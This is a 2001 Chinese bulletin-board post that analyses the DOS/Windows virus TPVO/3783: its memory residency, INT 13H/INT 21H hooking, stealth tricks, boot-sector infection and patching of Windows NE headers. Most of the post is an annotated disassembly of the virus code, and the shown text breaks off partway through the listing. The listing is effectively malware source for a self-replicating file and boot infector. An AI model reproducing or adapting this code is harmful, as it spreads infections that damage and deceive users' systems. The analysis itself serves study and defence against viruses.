荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: fast (平淡), 信区: Virus
标 题: 病毒介绍
发信站: 荔园晨风BBS站 (Wed Sep 19 18:06:00 2001), 转信
病毒介绍
TPVO/3783 病毒是一种传染性、隐蔽性都很强的病毒,它的独到之处是可以传染
WINDOWS 文件,使病毒可以在 WINDOWS 执行时驻留内存。
该病毒传染硬盘、软盘引导区及 WINDOWS、DOS 可执行程序,包括.EXE.COM.
OVL.386 等等文件,不传染带覆盖的文件,程序被传染后长度增加 3783 字节,
文件日期被
加上 100 年作为传染标记。
该病毒驻留内存后,用 DIR 命令看不出文件长度的变化,用 INT 13H 读出
的磁盘引导记录是正常的,而不是带毒的引导记录,用应用程序读出的带毒文件也
都是正常的,
但是由 ARJ、PKZIP、RAR、LHA、BACKUP、MSBACKUP、TELIX 七个程序读出的文件
却是带毒的,所以被这些压缩程序压进文件包或用 TELIX 通过调制解调器传到其
他地方的文件
是带毒的,由此可见该病毒在隐藏和传播上的用心良苦。
该病毒在传染硬盘主引导区时隐藏于 0 柱面 0 头 5 扇区,传染软盘引导区
时隐藏于新格式化的第 81 个磁道,传染文件时附在文件尾部,病毒本身不加密。
当带毒的 WINDOWS 系统运行时,根目录中的虚拟内存文件 386SPART.PAR 属性会
变成普通属性,用 DIR 命令可以列出。
病毒分析:
1. 驻留内存及截取中断
该病毒采用修改内存控制块的方法来驻留内存,如果 UMB 存在,病毒会驻留
在 UMB中,该病毒驻留内存后截取 INT 21H 和 INT 13H 中断,来完成对文件和引
导区的传染,
在截取 INT 21H 时,该病毒采取了与众不同的方法。下面是 INT 21H 内部片断,
在中断程序完成了初始化后,将 AH 中的功能号放在 BX 中再乘 2,再用查表的办
法得到相应子
程序的地址,然后用近调用来执行相应子程序,具体见下:
...
FDC8:4198 8ADC MOV BL,AH ;AH 为子功能号
FDC8:419A D1E3 SHL BX,1 ;放于 BX 中再乘 2
...
FDC8:41EA 2E8B9F9E3E MOV BX,CS:[BX+3E9E] ;3E9E 为各功能地址表的
基地址
FDC8:41EF 36871EEA05 XCHG BX,SS:[05EA] ;调用地址在 05EA 中
FDC8:41F4 368E1EEC05 MOV DS,SS:[05EC]
FDC8:41F9 36FF16EA05 CALL SS:[05EA] ;调用相应功能的子程序
...
病毒在驻留时先截取 INT 2AH,在 INT 2AH 中检测到使用的堆栈为 MSDOS.SYS 堆
栈段时,表示中断由 INT 21H 发出,这时由中断返回地址得到 MSDOS.SYS 程序段
的段地址,
再查找以上几句指令并将 CALL SS:[05EA] 改为 CALL XXXX:053D 指向病毒代码,
在完成修改、传染等功能后再转向原来的 INT 21H 执行。由于这一段代码在
INT 21H 的第一百
多句以后,当使用 DOS=HIGH 参数启动时这一段代码被移到 HMA 中, 所以该病毒
的截取手段有很大的欺骗性,不但能骗过几乎所有内存监视程序,而且即使用手工
反汇编 INT
21H中断程序都不一定能觉察到异常之处。
在截取 INT 13H 时,病毒先使用未公开中断 INT 2FH 的 1300H 功能来得到
DOS 内部设备驱动程序使用的原始 INT 13H 地址,然后在 BIOS 中随机寻找一
个中断号大于
E0H 号的INT XX代码,将这个中断向量指向病毒的 INT 13H服务程序,然后将
DOS 保存的原始INT 13H 地址改成指向 BIOS 中的 INT XX 指令,使得在不同的计
算机中指向病毒
程序的中断向量号都不相同。
2. 传染及其他部分
病毒截取 INT 13H 来传染磁盘的引导区,在进行普通的读写功能时,病毒并
不传染,所以磁盘读写速度并不明显减慢,只有在对磁盘的引导区进行读写时,病
毒才进行传染。
传染硬盘主引导区时,病毒隐藏在保留磁道 0 柱面 0 头第 5 扇区开始的 8 个扇
区中,原引导记录被保存在 0 柱面 0 头第 13 扇区。一般软盘只有 80 个磁道,
病毒在传染软
盘引导记录时,先格式化出一个第 81 磁道,再将自身隐藏于第 81 磁道 1 扇区
开始的 8个扇区中,原引导记录被保存在第 81 磁道第 9 扇区。当有程序读取引
导记录时, 病
毒将原引导记录读出送回。
病毒截取 INT 21H 来完成可执行文件的传染和一些欺骗功能,在 INT 21H 的
11H、12H、4EH、4FH 匹配文件寻找功能中,病毒返回正确的文件长度和时间,在
57H 读写文
件时间功能中,病毒返回正确的文件时间,在 3FH 读文件功能中, 如果读到文件
被修改的部分,病毒将返回正确的内容,在 40H 写文件功能中,如果写已被传染
的文件, 病毒
将文件复原,到以后关闭文件时重新传染。结果在应用软件看来,带毒文件没有任
何异常之处。
当执行 INT 21H 的 3DH 打开文件、3EH 关闭文件、43H 文件属性功能、
56H 文件改名、4BH 执行文件时,病毒对文件进行传染,传染后病毒附于文件尾部
,文件开始指针被
指向病毒入口处。对于.COM 文件,病毒将文件第一句指令改为 JMP XXXX 跳转到
病毒入口处,对于普通.EXE 文件,病毒将文件入口指针指向病毒入口处, 将堆栈
指向病毒尾部
200H处。
下面详细分析病毒对 WINDOWS 可执行文件的修改,由于 WINDOWS 可执行文件
的资料很少见,这里先简单介绍一下 WINDOWS 文件的结构:WINDOWS 文件由 DOS
执行部分和
WINDOWS 执行部分组成,DOS 部分只是简单的打印一句提示信息即退出,WINDOWS
部分以覆盖的方式位于文件后部。文件报头分两部分,第一部分为普通的.EXE
文件报头, 第
二部分为 "NE" 新格式可执行报头,有关部分说明如下:
普通 .EXE 文件报头 18H 字 重分配表偏移( WINDOWS 文件必须大于
0040H)
3CH 双字 "NE" 可执行报头在程序中的偏移
"NE" 可执行报头 00H 2 字节 "NE" 符号
(长 40H 字节) 14H 字 程序入口 IP
16H 字 程序入口段的段地址记录号
18H 双字 程序初始 SS:SP
1CH 字 段地址表中的记录数
22H 字 段地址表在程序中的偏移
32H 字节 段大小的计数单位 (移位值)
程序中所有的段都由段地址表中的一个记录来描述,包括段在程序中的偏移、
段的大小、段的属性、段装入时要分配内存的大小,执行程序时,系统由入口段的
记录号查段地
址表得出这个段在程序中的位置和大小,将代码装入内存,再由入口 IP开始执行
。 段地址表中每个记录占用 8 个字节,格式如下:
00H 字 本段在程序中的偏移 (乘以计数单位)
02H 字 本段的长度 (单位:字节)
04H 字 本段的属性
06H 字 要分配的容量 (单位:字节)
病毒增加了一个段地址表记录来描述病毒代码段属性,在 WINDOWS 文件中,
段地址表一般紧接着 "NE" 报头存放,段地址表后面也紧接着其他数据,中间没
有多余字节,所
以病毒将整个 "NE" 报头和段地址表前移了 8 字节,然后在空出的 8 字节中写下
一个新的段地址表记录, 再将程序入口段记录号改到指向这个新的记录, 具体改
动的数据有:
003CH处的 "NE" 报头偏移减 8,"NE" 报头中 16H 的入口段记录号改为病毒段,
1CH 的段地址表记录数加 1,另外将 04H、24H、26H、28H、2AH 中其他相关表的
偏移加 8。
2. 病毒源码:
;====================================================================
; DOS 可执行文件入口
;====================================================================
F6C8:0000 0E PUSH CS
F6C8:0001 1F POP DS
F6C8:0002 E80000 CALL 0005 ;重定位
F6C8:0005 5E POP SI
F6C8:0006 83EE05 SUB SI,+05
F6C8:0009 56 PUSH SI
F6C8:000A 06 PUSH ES
F6C8:000B B87F18 MOV AX,187F ;检测内存驻留
F6C8:000E BB5344 MOV BX,4453
F6C8:0011 CD21 INT 21 (DOS)
F6C8:0013 81FBA187 CMP BX,87A1
F6C8:0017 753A JNZ 0053
F6C8:0019 07 POP ES ;已驻留
F6C8:001A 5E POP SI ;执行原程序
F6C8:001B 0E PUSH CS
F6C8:001C 1F POP DS
F6C8:001D 8B84870E MOV AX,[SI+0E87]
F6C8:0021 E8880B CALL 0BAC
F6C8:0024 740D JZ 0033 ;.EXE 文件转 0033
F6C8:0026 48 DEC AX
F6C8:0027 BF0001 MOV DI,0100 ;恢复 .COM 文件头 3 字节
F6C8:002A 57 PUSH DI
F6C8:002B FC CLD
F6C8:002C AB STOSW
F6C8:002D 8A84890E MOV AL,[SI+0E89]
F6C8:0031 AA STOSB
F6C8:0032 C3 RET ;执行原 .COM 文件
F6C8:0033 8CC0 MOV AX,ES ;重定位 .EXE 文件
F6C8:0035 051000 ADD AX,0010
F6C8:0038 0384950E ADD AX,[SI+0E95]
F6C8:003C 8ED0 MOV SS,AX
F6C8:003E 8BA4970E MOV SP,[SI+0E97]
F6C8:0042 8CC0 MOV AX,ES
F6C8:0044 051000 ADD AX,0010
F6C8:0047 03849D0E ADD AX,[SI+0E9D]
F6C8:004B 50 PUSH AX
F6C8:004C FFB49B0E PUSH WORD PTR [SI+0E9B]
F6C8:0050 06 PUSH ES
F6C8:0051 1F POP DS
F6C8:0052 CB RETF ;执行原 .EXE 文件
;
=======================================================================
;驻留内存初始化部分 (调用: 0017)
F6C8:0053 8CC0 MOV AX,ES
F6C8:0055 48 DEC AX ;取 MCB
F6C8:0056 E81E00 CALL 0077 ;取最后一块MCB地址
F6C8:0059 E83200 CALL 008E ;驻留内存
F6C8:005C 72BB JB 0019
F6C8:005E 8ED9 MOV DS,CX ;截取 INT 2AH
F6C8:0060 B85103 MOV AX,0351 ;中断到 CS:0351
F6C8:0063 8706A800 XCHG AX,[00A8] ;由 INT 2AH 继续引导
F6C8:0067 26 ES:
F6C8:0068 A33A04 MOV [043A],AX ;(转 0351)
F6C8:006B 8CC0 MOV AX,ES
F6C8:006D 8706AA00 XCHG AX,[00AA]
F6C8:0071 26 ES:
F6C8:0072 A33C04 MOV [043C],AX
F6C8:0075 EBA2 JMP 0019 ;执行原程序
;
========================================================================
;找最后一块 MCB 地址
;返回 BX = 最后一块MCB段地址
;调用: 0056
F6C8:0077 33FF XOR DI,DI
F6C8:0079 8ED8 MOV DS,AX
F6C8:007B 803D4D CMP BYTE PTR [DI],4D
F6C8:007E 7405 JZ 0085 ;非最后一块转 0085
F6C8:0080 803D5A CMP BYTE PTR [DI],5A;最后一块返回
F6C8:0083 7508 JNZ 008D
F6C8:0085 8BD8 MOV BX,AX
F6C8:0087 034503 ADD AX,[DI+03]
F6C8:008A 40 INC AX
F6C8:008B EBEA JMP 0077 ;AX 为下一块 MCB 地址
F6C8:008D C3 RET
;
========================================================================
=
;驻留内存子程序
;调用: 0059
F6C8:008E 8EDB MOV DS,BX
F6C8:0090 8B4503 MOV AX,[DI+03]
F6C8:0093 2D3801 SUB AX,0138 ;截取内存 1380H 字节
F6C8:0096 720E JB 00A6
F6C8:0098 894503 MOV [DI+03],AX
F6C8:009B 03D8 ADD BX,AX
F6C8:009D 43 INC BX
F6C8:009E 8EC3 MOV ES,BX
F6C8:00A0 B9C70E MOV CX,0EC7 ;移动病毒 0EC7 字节
F6C8:00A3 F3 REPZ ;到内存中
F6C8:00A4 2E CS:
F6C8:00A5 A4 MOVSB
F6C8:00A6 C3 RET
;=====================================================================
; 引导区代码部分
;=====================================================================
F6C8:00A7 FA CLI
F6C8:00A8 33DB XOR BX,BX
F6C8:00AA 8ED3 MOV SS,BX
F6C8:00AC BC007C MOV SP,7C00
F6C8:00AF 8EC4 MOV ES,SP ;暂时将病毒读到 7C00:0000
F6C8:00B1 B80802 MOV AX,0208
F6C8:00B4 B90150 MOV CX,5001 ;硬盘为 0005
F6C8:00B7 BA0000 MOV DX,0000 ;软盘为 5001
F6C8:00BA CD13 INT 13 (BIOS Disk)
F6C8:00BC 7200 JB 00BE
F6C8:00BE 06 PUSH ES
F6C8:00BF 68C300 PUSH 00C3 ;转高端继续执行
F6C8:00C2 CB RETF
F6C8:00C3 E82701 CALL 01ED ;随机生成 INT 13H 地址
F6C8:00C6 830EA800FF OR WORD PTR [00A8],FFFF ;????
F6C8:00CB 871E4C00 XCHG BX,[004C]
F6C8:00CF 2E CS:
F6C8:00D0 891EF800 MOV [00F8],BX
F6C8:00D4 8CC0 MOV AX,ES
F6C8:00D6 87064E00 XCHG AX,[004E] ;截取 INT 13H
F6C8:00DA 0E PUSH CS ;到 CS:00FC
F6C8:00DB 1F POP DS
F6C8:00DC A3FA00 MOV [00FA],AX ;保留原 INT 13H 到 00FA
F6C8:00DF C606FF003C MOV BYTE PTR [00FF],3C
F6C8:00E4 C60604013C MOV BYTE PTR [0104],3C
F6C8:00E9 C6065805E8 MOV BYTE PTR [0558],E8
F6C8:00EE CD19 INT 19 (BIOS Bootstrap)
;
========================================================================
;病毒调用 INT 13H
F6C8:00F0 9C PUSHF
F6C8:00F1 FA CLI
F6C8:00F2 0E PUSH CS
F6C8:00F3 E80100 CALL 00F7
F6C8:00F6 C3 RET
F6C8:00F7 EA59EC00F0 JMP F000:EC59
;
========================================================================
=
; 新 INT 13H 代码部分
;
========================================================================
=
F6C8:00FC 83C406 ADD SP,+06
F6C8:00FF EB3D JMP 013E ===> ;本句代码当病毒从 BOOT 区
F6C8:0101 60 PUSHA ;引入时为 CMP AL,3D
F6C8:0102 1E PUSH DS
F6C8:0103 06 PUSH ES
F6C8:0104 EB23 JMP 0129 ===> ;本句代码当病毒从 BOOT 区
F6C8:0106 6A00 PUSH 0000 ;引入时为 CMP AL,23
F6C8:0108 1F POP DS
F6C8:0109 C41EA800 LES BX,[00A8]
F6C8:010D 26 ES:
F6C8:010E 803FCF CMP BYTE PTR [BX],CF
F6C8:0111 7514 JNZ 0127 ;INT 2AH 不是 IRET
F6C8:0113 2E CS: ;转 0127 (013B) 执行
F6C8:0114 891E3A04 MOV [043A],BX
F6C8:0118 2E CS:
F6C8:0119 8C063C04 MOV [043C],ES ;设置 BOOT 引入 INT 2A
F6C8:011D C706A8008603 MOV WORD PTR [00A8],0386 ;到 CS:0386
F6C8:0123 8C0EAA00 MOV [00AA],CS
F6C8:0127 EB12 JMP 013B
;
========================================================================
===
F6C8:0129 B80312 MOV AX,1203
F6C8:012C CD2F INT 2F (Multiplex)
F6C8:012E 8CD8 MOV AX,DS
F6C8:0130 3D1001 CMP AX,0110 ===> ;本数据由 039B 填入
F6C8:0133 7406 JZ 013B ;为初始化时 MSDOS.SYS 数据段
F6C8:0135 2E CS:
F6C8:0136 C60604013C MOV BYTE PTR [0104],3C
F6C8:013B 07 POP ES
F6C8:013C 1F POP DS
F6C8:013D 61 POPA
;
========================================================================
====
; 新 INT 13H 代码部分
F6C8:013E 80FC02 CMP AH,02
F6C8:0141 72B4 JB 00F7
F6C8:0143 80FC03 CMP AH,03
F6C8:0146 77AF JA 00F7
F6C8:0148 83F901 CMP CX,+01
F6C8:014B 75AA JNZ 00F7
F6C8:014D 0AF6 OR DH,DH
F6C8:014F 75A6 JNZ 00F7
F6C8:0151 80FA80 CMP DL,80 ;不是读引导区
F6C8:0154 77A1 JA 00F7 ;转原 INT 13H
F6C8:0156 E897FF CALL 00F0 ;读出引导区
F6C8:0159 7235 JB 0190
F6C8:015B 60 PUSHA
F6C8:015C 1E PUSH DS
F6C8:015D 06 PUSH ES
F6C8:015E 9C PUSHF
F6C8:015F 06 PUSH ES
F6C8:0160 8BF3 MOV SI,BX
F6C8:0162 06 PUSH ES
F6C8:0163 1F POP DS
F6C8:0164 BF7711 MOV DI,1177
F6C8:0167 0E PUSH CS
F6C8:0168 07 POP ES
F6C8:0169 B90001 MOV CX,0100 ;保存原引导区到
F6C8:016C F3 REPZ ;CS:1177
F6C8:016D A5 MOVSW
F6C8:016E 0E PUSH CS
F6C8:016F 1F POP DS
F6C8:0170 BF7711 MOV DI,1177
F6C8:0173 817D468EC4 CMP WORD PTR [DI+46],C48E
F6C8:0178 07 POP ES
F6C8:0179 7518 JNZ 0193 ;未感染转 0193
F6C8:017B B80102 MOV AX,0201 ;已感染则读出
F6C8:017E 8B4D4C MOV CX,[DI+4C] ;原引导区
F6C8:0181 8A7550 MOV DH,[DI+50]
F6C8:0184 80C108 ADD CL,08
F6C8:0187 9D POPF
F6C8:0188 E865FF CALL 00F0
F6C8:018B 9C PUSHF
F6C8:018C 9D POPF
F6C8:018D 07 POP ES
F6C8:018E 1F POP DS
F6C8:018F 61 POPA
F6C8:0190 CA0200 RETF 0002
;
========================================================================
=
;病毒传染引导区代码部分
F6C8:0193 0E PUSH CS
F6C8:0194 07 POP ES
F6C8:0195 B90500 MOV CX,0005
F6C8:0198 0AD2 OR DL,DL
F6C8:019A 7812 JS 01AE ;硬盘转 01AE
F6C8:019C B80A05 MOV AX,050A ;传染软盘引导区部分
F6C8:019F B550 MOV CH,50 ;格式化第 50H 磁道
F6C8:01A1 32F6 XOR DH,DH
F6C8:01A3 BB4D0E MOV BX,0E4D
F6C8:01A6 E847FF CALL 00F0
F6C8:01A9 7240 JB 01EB
F6C8:01AB B90150 MOV CX,5001
F6C8:01AE 890EB500 MOV [00B5],CX
F6C8:01B2 52 PUSH DX
F6C8:01B3 80E280 AND DL,80
F6C8:01B6 8916B800 MOV [00B8],DX
F6C8:01BA 5A POP DX
F6C8:01BB B80803 MOV AX,0308 ;写病毒到磁盘
F6C8:01BE 33DB XOR BX,BX
F6C8:01C0 E82DFF CALL 00F0
F6C8:01C3 7226 JB 01EB
F6C8:01C5 B80103 MOV AX,0301 ;保存原引导区
F6C8:01C8 BB7711 MOV BX,1177
F6C8:01CB 80C108 ADD CL,08
F6C8:01CE E81FFF CALL 00F0
F6C8:01D1 7218 JB 01EB
F6C8:01D3 C707EB3C MOV WORD PTR [BX],3CEB
F6C8:01D7 BEA700 MOV SI,00A7
F6C8:01DA 8D7F3E LEA DI,[BX+3E]
F6C8:01DD B91C00 MOV CX,001C
F6C8:01E0 F3 REPZ
F6C8:01E1 A4 MOVSB
F6C8:01E2 B80103 MOV AX,0301
F6C8:01E5 B90100 MOV CX,0001
F6C8:01E8 E805FF CALL 00F0 ;写病毒到引导区
F6C8:01EB EB9F JMP 018C ;返回调用处
;
========================================================================
;随机生成一个 INT 13H 地址
;调用: 00C3 0369
;有二种方式 1. 在 BIOS 中找一个 > 80号的 INT XX 代码
; 将 INT XX 指向原 INT 13, 再将 INT 13 指向 BIOS 中 INT XX 代码
; 2. 在 0000:04FB 中写下 JMP 原 INT 13
; 再将 INT 13 指向 0000:04FB
F6C8:01ED 33F6 XOR SI,SI
F6C8:01EF B800F0 MOV AX,F000
F6C8:01F2 8ED8 MOV DS,AX
F6C8:01F4 8EC0 MOV ES,AX
F6C8:01F6 4E DEC SI
F6C8:01F7 741F JZ 0218
F6C8:01F9 803CCD CMP BYTE PTR [SI],CD
F6C8:01FC 75F8 JNZ 01F6 ;找一个 INT 代码
F6C8:01FE 3A4401 CMP AL,[SI+01]
F6C8:0201 73F3 JNB 01F6
F6C8:0203 807C01E0 CMP BYTE PTR [SI+01],E0
F6C8:0207 73ED JNB 01F6 ;小于 INT E0 继续找
F6C8:0209 864401 XCHG AL,[SI+01]
F6C8:020C 864401 XCHG AL,[SI+01]
F6C8:020F 3A4401 CMP AL,[SI+01] ;保存 INT 号于 AL 中
F6C8:0212 75E2 JNZ 01F6 ;不在 BIOS 中继续找
F6C8:0214 8BDE MOV BX,SI ;保存地址于 BX 中
F6C8:0216 EBDE JMP 01F6
F6C8:0218 8EDE MOV DS,SI
F6C8:021A 3C80 CMP AL,80 ;在 BIOS 中未找到
F6C8:021C 720C JB 022A ;INT ?? 代码转 022A
F6C8:021E 2E CS:
F6C8:021F C606FE0006 MOV BYTE PTR [00FE],06 ;ADD SP,6
F6C8:0224 B404 MOV AH,04 ;丢弃 INT XX 之返回地址
F6C8:0226 F6E4 MUL AH ;AX 为中断向量表中地址
F6C8:0228 EB14 JMP 023E
F6C8:022A 2E CS:
F6C8:022B C606FE0000 MOV BYTE PTR [00FE],00
F6C8:0230 6A00 PUSH 0000
F6C8:0232 1F POP DS ;在 0000:04FB 中写下
F6C8:0233 1E PUSH DS ;代码 JMP CS:00FC
F6C8:0234 07 POP ES
F6C8:0235 BBFB04 MOV BX,04FB
F6C8:0238 C607EA MOV BYTE PTR [BX],EA
F6C8:023B B8FC04 MOV AX,04FC
F6C8:023E 2E CS:
F6C8:023F A34502 MOV [0245],AX
F6C8:0242 EB00 JMP 0244
F6C8:0244 BE0003 MOV SI,0300 ;值由上决定
F6C8:0247 C704FC00 MOV WORD PTR [SI],00FC
F6C8:024B 8C4C02 MOV [SI+02],CS ;设新 INT 13H 向量
F6C8:024E C3 RET ;到 CS:00FC
;
========================================================================
==
F6C8:024F 50 PUSH AX ;不详
F6C8:0250 51 PUSH CX
F6C8:0251 52 PUSH DX
F6C8:0252 B91000 MOV CX,0010
F6C8:0255 F7E1 MUL CX
F6C8:0257 8BCA MOV CX,DX
F6C8:0259 92 XCHG AX,DX
F6C8:025A B80700 MOV AX,0007
F6C8:025D CD31 INT 31 (DPMI API)
F6C8:025F 5A POP DX
F6C8:0260 59 POP CX
F6C8:0261 58 POP AX
F6C8:0262 C3 RET
;
========================================================================
==
; WINDOWS 文件开始执行入口
;
========================================================================
==
F6C8:0263 60 PUSHA
F6C8:0264 1E PUSH DS
F6C8:0265 06 PUSH ES
F6C8:0266 E80000 CALL 0269 ;重定位
F6C8:0269 5E POP SI
F6C8:026A 81EE6902 SUB SI,0269
F6C8:026E B87F18 MOV AX,187F ;内存驻留校验
F6C8:0271 BB5344 MOV BX,4453
F6C8:0274 CD21 INT 21 (DOS)
F6C8:0276 81FBA187 CMP BX,87A1
F6C8:027A 7503 JNZ 027F ;已驻留转 0328
F6C8:027C E9A900 JMP 0328
F6C8:027F 33C0 XOR AX,AX ;
F6C8:0281 B90100 MOV CX,0001
F6C8:0284 CD31 INT 31 (DPMI API)
F6C8:0286 93 XCHG AX,BX
F6C8:0287 B80800 MOV AX,0008
F6C8:028A CD31 INT 31 (DPMI API)
F6C8:028C 40 INC AX
F6C8:028D B1F2 MOV CL,F2
F6C8:028F CD31 INT 31 (DPMI API)
F6C8:0291 8EDB MOV DS,BX
F6C8:0293 B452 MOV AH,52
F6C8:0295 CD21 INT 21 (DOS)
F6C8:0297 26 ES:
F6C8:0298 8B47FE MOV AX,[BX-02]
F6C8:029B 33FF XOR DI,DI
F6C8:029D 33D2 XOR DX,DX
F6C8:029F 8CDB MOV BX,DS
F6C8:02A1 E8ABFF CALL 024F
F6C8:02A4 803D4D CMP BYTE PTR [DI],4D
F6C8:02A7 7405 JZ 02AE
F6C8:02A9 803D5A CMP BYTE PTR [DI],5A
F6C8:02AC 7521 JNZ 02CF
F6C8:02AE 8BE8 MOV BP,AX
F6C8:02B0 8B4508 MOV AX,[DI+08]
F6C8:02B3 0D2020 OR AX,2020
F6C8:02B6 3D7769 CMP AX,6977
F6C8:02B9 750C JNZ 02C7
F6C8:02BB 8B450A MOV AX,[DI+0A]
F6C8:02BE 0C20 OR AL,20
F6C8:02C0 3D6E00 CMP AX,006E
F6C8:02C3 7502 JNZ 02C7
F6C8:02C5 8BD5 MOV DX,BP
F6C8:02C7 8BC5 MOV AX,BP
F6C8:02C9 034503 ADD AX,[DI+03]
F6C8:02CC 40 INC AX
F6C8:02CD EBD0 JMP 029F
F6C8:02CF 95 XCHG AX,BP
F6C8:02D0 E87CFF CALL 024F
F6C8:02D3 816D033801 SUB WORD PTR [DI+03],0138
F6C8:02D8 034503 ADD AX,[DI+03]
F6C8:02DB 40 INC AX
F6C8:02DC E870FF CALL 024F
F6C8:02DF 8EC3 MOV ES,BX
F6C8:02E1 95 XCHG AX,BP
F6C8:02E2 B80A00 MOV AX,000A
F6C8:02E5 8CCB MOV BX,CS
F6C8:02E7 CD31 INT 31 (DPMI API)
F6C8:02E9 8ED8 MOV DS,AX
F6C8:02EB B97D0E MOV CX,0E7D
F6C8:02EE F3 REPZ
F6C8:02EF A4 MOVSB
F6C8:02F0 8CDB MOV BX,DS
F6C8:02F2 91 XCHG AX,CX
F6C8:02F3 E859FF CALL 024F
F6C8:02F6 B85103 MOV AX,0351
F6C8:02F9 8706A800 XCHG AX,[00A8]
F6C8:02FD 26 ES:
F6C8:02FE A33A04 MOV [043A],AX
F6C8:0301 55 PUSH BP
F6C8:0302 872EAA00 XCHG BP,[00AA]
F6C8:0306 26 ES:
F6C8:0307 892E3C04 MOV [043C],BP
F6C8:030B 5D POP BP
F6C8:030C 92 XCHG AX,DX
F6C8:030D 0BC0 OR AX,AX
F6C8:030F 7417 JZ 0328
F6C8:0311 E83BFF CALL 024F
F6C8:0314 B83003 MOV AX,0330
F6C8:0317 87061A00 XCHG AX,[001A]
F6C8:031B 26 ES:
F6C8:031C A34D03 MOV [034D],AX
F6C8:031F 872E1C00 XCHG BP,[001C]
F6C8:0323 26 ES:
F6C8:0324 892E4F03 MOV [034F],BP
F6C8:0328 07 POP ES
F6C8:0329 1F POP DS
F6C8:032A 61 POPA
F6C8:032B EA0000FFFF JMP FFFF:0000
F6C8:0330 50 PUSH AX
F6C8:0331 1E PUSH DS
F6C8:0332 6A00 PUSH 0000
F6C8:0334 1F POP DS
F6C8:0335 B88603 MOV AX,0386
F6C8:0338 8706A800 XCHG AX,[00A8]
F6C8:033C 2E CS:
F6C8:033D A33A04 MOV [043A],AX
F6C8:0340 8CC8 MOV AX,CS
F6C8:0342 8706AA00 XCHG AX,[00AA]
F6C8:0346 2E CS:
F6C8:0347 A33C04 MOV [043C],AX
F6C8:034A 1F POP DS
F6C8:034B 58 POP AX
F6C8:034C EAB1022805 JMP 0528:02B1
;
========================================================================
==
; 文件驻留引入 INT 2A 代码部分
; 初始化时使用
;
========================================================================
==
F6C8:0351 60 PUSHA
F6C8:0352 1E PUSH DS
F6C8:0353 06 PUSH ES
F6C8:0354 2E CS:
F6C8:0355 C606FF00EB MOV BYTE PTR [00FF],EB ;INT 13H
F6C8:035A 2E CS: ;不检测
F6C8:035B C60658053D MOV BYTE PTR [0558],3D ;INT 21H 不检测
F6C8:0360 B80016 MOV AX,1600 ;WINDOWS 增强模式检验
F6C8:0363 CD2F INT 2F
F6C8:0365 0AC0 OR AL,AL
F6C8:0367 7505 JNZ 036E ;WINDOWS 运行转 036E
F6C8:0369 E881FE CALL 01ED ;随机生成 INT 13H 地址
F6C8:036C EB03 JMP 0371
F6C8:036E E8B9FE CALL 022A ;随机生成 INT 13H 地址
F6C8:0371 B80013 MOV AX,1300 ;取得原 INT 13H 地址
F6C8:0374 8BD3 MOV DX,BX ;并设置新 INT 13H 地址
F6C8:0376 06 PUSH ES
F6C8:0377 1F POP DS ;INT 2F 之 1300 功能
F6C8:0378 CD2F INT 2F ;入口 ES:BX 及 DS:DX
F6C8:037A 2E CS: ;为新 INT 13H 地址
F6C8:037B 8916F800 MOV [00F8],DX ;出口 ES:BX 及 DS:DX
F6C8:037F 2E CS: ;为旧 INT 13H 地址
F6C8:0380 8C1EFA00 MOV [00FA],DS
F6C8:0384 EB03 JMP 0389 ;转截取 INT 21H (0389)
;
========================================================================
==
;BOOT 引导驻留引入 INT 2A 入口
F6C8:0386 60 PUSHA
F6C8:0387 1E PUSH DS
F6C8:0388 06 PUSH ES
;
========================================================================
==
;截取 INT 21H 代码部分
F6C8:0389 B80312 MOV AX,1203 ;取 MSDOS.SYS 数据段地址
F6C8:038C CD2F INT 2F ;返回段地址 = DS
F6C8:038E 8CD8 MOV AX,DS
F6C8:0390 8CD6 MOV SI,SS
F6C8:0392 2BF0 SUB SI,AX
F6C8:0394 7403 JZ 0399 ;在 MSDOS.SYS 中执行
F6C8:0396 E99D00 JMP 0436 ;转 0399, 否则退出
F6C8:0399 0E PUSH CS
F6C8:039A 1F POP DS
F6C8:039B A33101 MOV [0131],AX
F6C8:039E C606C00DEB MOV BYTE PTR [0DC0],EB
F6C8:03A3 C6060401EB MOV BYTE PTR [0104],EB
F6C8:03A8 C4063A04 LES AX,[043A]
F6C8:03AC 8EDE MOV DS,SI
F6C8:03AE A3A800 MOV [00A8],AX
F6C8:03B1 8C06AA00 MOV [00AA],ES ;恢复原 INT 2A 中断向量
F6C8:03B5 8BEC MOV BP,SP
F6C8:03B7 8E5E16 MOV DS,[BP+16] ;调用代码段
F6C8:03BA 83FE80 CMP SI,-80 ;为 INT 21 的代码段
F6C8:03BD 7777 JA 0436
F6C8:03BF AC LODSB
F6C8:03C0 3C2E CMP AL,2E ;找 2E 8B 9F xx xx
F6C8:03C2 75F6 JNZ 03BA ;即 MOV BX,CS:[BX+xxxx]
F6C8:03C4 AD LODSW
F6C8:03C5 3D8B9F CMP AX,9F8B
F6C8:03C8 75F0 JNZ 03BA
F6C8:03CA AD LODSW ;此地址为 INT 21 功能=>子程序
F6C8:03CB 2E CS: ;转换表基址
F6C8:03CC A35111 MOV [1151],AX ;保存地址于 1151
F6C8:03CF B93000 MOV CX,0030
F6C8:03D2 4E DEC SI
F6C8:03D3 AD LODSW
F6C8:03D4 3D871E CMP AX,1E87 ;找 87 1E (XCHG BX,SS:[xxxx])
F6C8:03D7 E0F9 LOOPNE 03D2
F6C8:03D9 E3DF JCXZ 03BA
F6C8:03DB AD LODSW
F6C8:03DC 2E CS:
F6C8:03DD A35311 MOV [1153],AX ;调用 INT 21 子功能地址
F6C8:03E0 46 INC SI ;找 36 FF 16 xx xx
F6C8:03E1 813C36FF CMP WORD PTR [SI],FF36
F6C8:03E5 E0F9 LOOPNE 03E0 ;即 CALL SS:[xxxx]
F6C8:03E7 E3D1 JCXZ 03BA
F6C8:03E9 807C0216 CMP BYTE PTR [SI+02],16
F6C8:03ED 75F1 JNZ 03E0
F6C8:03EF 394403 CMP [SI+03],AX ;将 CALL SS:[xxxx]
F6C8:03F2 75EC JNZ 03E0 ;改为 CALL CS:053D
F6C8:03F4 C6049A MOV BYTE PTR [SI],9A ;截取新 INT 21
F6C8:03F7 C744013D05 MOV WORD PTR [SI+01],053D ;到 CS:053D
F6C8:03FC 8C4C03 MOV [SI+03],CS
F6C8:03FF 2E CS:
F6C8:0400 89365B11 MOV [115B],SI
F6C8:0404 83FE80 CMP SI,-80
F6C8:0407 772D JA 0436
F6C8:0409 4E DEC SI
F6C8:040A AD LODSW
F6C8:040B 3DFB80 CMP AX,80FB ;找 FB 80 FC 11 75 0A C0 74
